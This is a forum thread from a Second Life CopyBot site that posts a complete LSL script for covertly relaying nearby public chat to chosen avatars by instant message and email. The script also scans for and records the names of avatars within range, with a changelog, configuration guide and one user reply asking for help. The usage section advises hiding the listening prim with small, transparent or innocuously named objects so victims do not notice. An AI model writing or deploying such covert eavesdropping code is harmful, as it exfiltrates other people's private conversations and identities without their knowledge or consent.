Multi Av IM Chat Relay / Spy Script v2.2

Thread Started By zion

5796
1
  • 44 Vote(s) - 3.36 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Rate Thread
#1
Changelog:
v2.2 - Added support to include list of nearby avatars
* Force use of email_timer > 20.0. This is to work around LL limitations on llEmail delaying the script for 20 seconds.
* Minor code cleanup
* Move email code to its own function
* rename testmsg() to send_chat()

v2.1 - Added support for email

v2.0 - Rewrite of an old sucky spy script I wrote

-----------------------------------------------
Useage:
-----------------------------------------------

Put it in a prim and move the prim into the chat radius of the people to be spied on. Preferably
don't make this obvious Smile (i.e. Use small prims, add transparency or invisiprim texture, don't
name the script something obvious like "Chat Spy", or if you have mod rights to nearby objects, put
the script in a prim other than its root prim, etc)

This uses IMs to send chat to the configured avatars. It has the potential to quickly cap offline IMs
so deactivate the spy script or remove the script when not in use.

Tested to work on both OpenSim and SL

-----------------------------------------------
Script Configuration:
-----------------------------------------------
* The msgkeylist is a list of avatar keys to send conversations to. It can contain as many avatar keys
as you like (provided script memory and list length limitations) but I would not recommend more than a few
if you'd like to do anything useful with the script because the more keys are added to the list, the slower
the IM responses will be as the script makes its way through the for loop.

* The keys provided in the script are randomly generated and are for example only and probably have no
significance in SL or OpenSim. So change them Smile

* Avatars configured in msgkeylist will have the ability to turn the spy on and off so only configure
those who you trust.

* Obviously make sure to only put keys in that you WANT the conversations to be sent to and not the person(s)
you're spying on lol.

* The spy script will be on by default and will start sending chat to IM on script compile and reset.

-----------------------------------------------
Chat command usage:
-----------------------------------------------
/123456789 on
/123456789 off

Turns spy on and off, you will receive an IM saying "System: Debug On/Off" as confirmation of the command success.
The chat command channel can be changed as desired by changing integer switch_channel = 123456789;. Choose something
long and random so as to minimize the chance of channel cross talk and channel scanners picking up on your chat command.

-----------------------------------------------
Email Config Variables:
-----------------------------------------------
integer use_email = (TRUE/FALSE) - If TRUE use the email system to send chat to the email address specified
string email_addy = ""; - Put the email address between the quotes that you want chat to be sent to
string email_subject = ""; - Subject line for emails sent

float email_timer = 30.0; - How often to send emails. 30 seconds seems to be a good amount of time, though
this can be made longer if you prefer to give the script a chance to gather up more chat before sending.
This must be greater than 20 due to the fact that llEmail imposes a 20 second script pause per call.
Emails will not be sent if nothing has been said within the email_timer period (reduces message spam),
but it will start gathering chat and sending it the moment something is said.

-----------------------------------------------
Sensor Config Variables:
-----------------------------------------------
float scan_dist = 20.0; - How far to scan for nearby avatars. Doesn't really make sense to change this if you simply
want avatars in chat say distance of the object since that distance is 20m. However, you can set this up to a maximum
of 96.0 if you like.

integer use_scan = TRUE; - If TRUE then scan for nearby avatars and include their names in emails sent.

PHP Code:
// Spy Script
// Written by mew380 for KingGoon Forums

// v2.2 - Added support to include list of nearby avatars
// * Force use of email_timer > 20.0. This is to work around LL limitations on llEmail delaying the script for 20 seconds.
// * Minor code cleanup
// * Move email code to its own function
// * Rename testmsg() to send_chat()
//
// v2.1 - Added support for email
//
// v2.0 - Rewrite of an old sucky spy script I wrote

//DISCLAIMER: I take absolutely no responsibility for the use of this script in any way. Use at your own risk.

//This script uses IMs to send chat to the configured avatars. It has the potential to quickly cap offline IMs so deactivate the spy script or remove the script when not in use.


// Main Config
//Avatar keys go here. These are the avatars that you want to send nearby chat conversation to. I wouldn't recommend more than a few keys though as the more keys are added, the slower the IM responses as the script makes its way through the for loop. The keys in this list are for example only and will not work. Change it to your own key(s).
list msgkeylist 
[
"23535a9e-fb89-4146-9e5d-388aef8e7ec0",
"c3054eba-e197-44f2-baf0-e5c8ccca35f8",
"542f0be5-fd2a-4ab0-b0e3-578b7824f162"
];

integer switch_channel 123456789//Channel to listen for spy on/off command. Can be changed as desired.

// Email Config
integer use_email TRUE//If TRUE use the email system to send chat to the email address specified
string email_addy "youraddress@server.com"//Email address you want the chat to go to
string email_subject "Chat"//Subject line for your emails
float email_timer 30.0//How often to send emails. 30 seconds seems to be a good amount of time, though this can be made longer if you prefer to give the script a chance to gather up more chat before sending. Must be greater than 20 seconds due to LL limits on llEmail. 30 seconds seems to be a decent time.

// Sensor Config
float scan_dist 20.0//How far to scan for nearby avatars. Doesn't really make sense to change this if you simply want avatars in chat say distance of the object since that distance is 20m. However, you can set this up to a maximum of 96.0 if you like.
integer use_scan TRUE// If TRUE then scan for nearby avatars before each email send

//----------------------------------------------------------
// Don't edit below unless you know what you're doing
//----------------------------------------------------------

list chat = [];
integer debug TRUE;
list 
nearby_avs;

send_chat(string namestring str)
{
    
integer length llGetListLength(msgkeylist);
    
integer i 0;
    
    
string oname llGetObjectName();
    
llSetObjectName(name " (Debugger)");
    
    for(
ilengthi++)
    {        
        
llInstantMessage(llList2String(msgkeylisti), str);
    }
    
    
llSetObjectName(oname);
}

build_email()
{
    if(
llGetListLength(chat) > 0)
    {
        
string body "";
        
integer i 0;
        
        if((
llGetListLength(nearby_avs) > 0) && use_scan)
            
body += "-----------\nNearby AVs\n-----------\n" llDumpList2String(nearby_avs"\n") + "\n\n";
        
        if(
use_scan)
            
body+= "-----\nChat\n-----\n";
        
        for(
illGetListLength(chat); i++)
        {
            
body += llList2String(chati) + "\n";   
        }
        
        
llEmail(email_addyemail_subjectbody);  
        
chat = []; 
        
        
llOwnerSay("Sent email:\n" body);  
    }
}

default
{
    
state_entry()
    {
        
llListen(0"""""");
        
llListen(switch_channel"""""");
        
send_chat("System""Debugger ready!");
        
        
llSetTimerEvent(0);
        
        if(
use_email)
        {
            if(
email_timer 20)
            {
                
llSetTimerEvent(email_timer);   
            }
            
            else if(
email_timer <= 20)
            {
                
llOwnerSay("email_timer must be greater than 20.0 due to LL limits on llEmail. Using 30.0 as default.");
                
llSetTimerEvent(30.0);
            }                
        }
    }
    
    
on_rez(integer x)
    {
        
llResetScript();
    }
    
    
timer()
    {
        if(!
use_scan)
            
build_email();
        else if(
use_scan)
            
llSensor(""""AGENTscan_distTWO_PI);
    }
    
    
sensor(integer num_detected)
    {
        
nearby_avs = [];
        
        
integer i 0;
        
        for(
inum_detectedi++)
        {
            
nearby_avs += llGetDisplayName(llDetectedKey(i)) + " (" llGetUsername(llDetectedKey(i)) + ")";
        }
        
        
build_email();
    }
    
    
no_sensor()
    {
        
build_email(); //Slight possibility of someone saying something and then every one TPing away before email can be sent in the sensor() event (i.e. "Hey lets go to a club! Good idea! *everyone poofs*)
        
nearby_avs = [];
    }
    
    
listen(integer channelstring namekey idstring message)
    {
        if(
channel == && debug == TRUE)
        {
            if(
use_email)
            {
                
chat += (llKey2Name(id) + ": " message);
            }
            
            
send_chat(namemessage);
        }
        
        if(
channel == switch_channel && llListFindList(msgkeylist, [id]) != -1)
        {
            if(
message == "off"
            {
                
send_chat("System""Debug Off");
                
debug FALSE;
            }
            
            if(
message == "on")
            {
                
send_chat("System""Debug On");
                
debug TRUE;
            }
        }
    }

Reply


#2
I can not figure out if it works or not when I write the message in chat / IM 123456789 I do not get any confirmation and 'active script.

I could ask more questions?

;)
Reply




Possibly Related Threads…
Thread Author Replies Views Last Post
  Private Chat SPY Relay script zion 2 7,927 06-11-2019, 07:34 PM
Last Post: adrianzero
  Editable array with the chat steadymobbin 0 3,182 02-25-2013, 01:43 AM
Last Post: steadymobbin
  Sim Wide Chat deadpool 0 3,495 02-19-2013, 02:16 AM
Last Post: deadpool
  Multi Av IM Chat Relay / Spy Script zion 0 3,856 02-18-2013, 03:43 AM
Last Post: zion
  message relay script zion 0 3,368 02-18-2013, 03:40 AM
Last Post: zion
  Multi prims llGetAgentList radar zion 0 3,382 02-18-2013, 03:30 AM
Last Post: zion
  Multi-tool Mark I script Fullperm zion 0 3,103 02-18-2013, 03:28 AM
Last Post: zion
  Multi Av IM Chat Relay / Spy Script v2 (Now with email!) zion 0 3,687 02-18-2013, 03:26 AM
Last Post: zion
  chat to IM steadymobbin 0 2,194 02-18-2013, 03:06 AM
Last Post: steadymobbin

Forum Jump:

1 Guest(s)
Share this:

About Second Life Copybot

Second Life CopyBot Forum is a place where you can get items for Second Life and other vitual worlds for free. With our CopyBot viewers you can export and import any content from these virtual worlds and modify them in 3D software such as Blender, 3D studio Macx etc...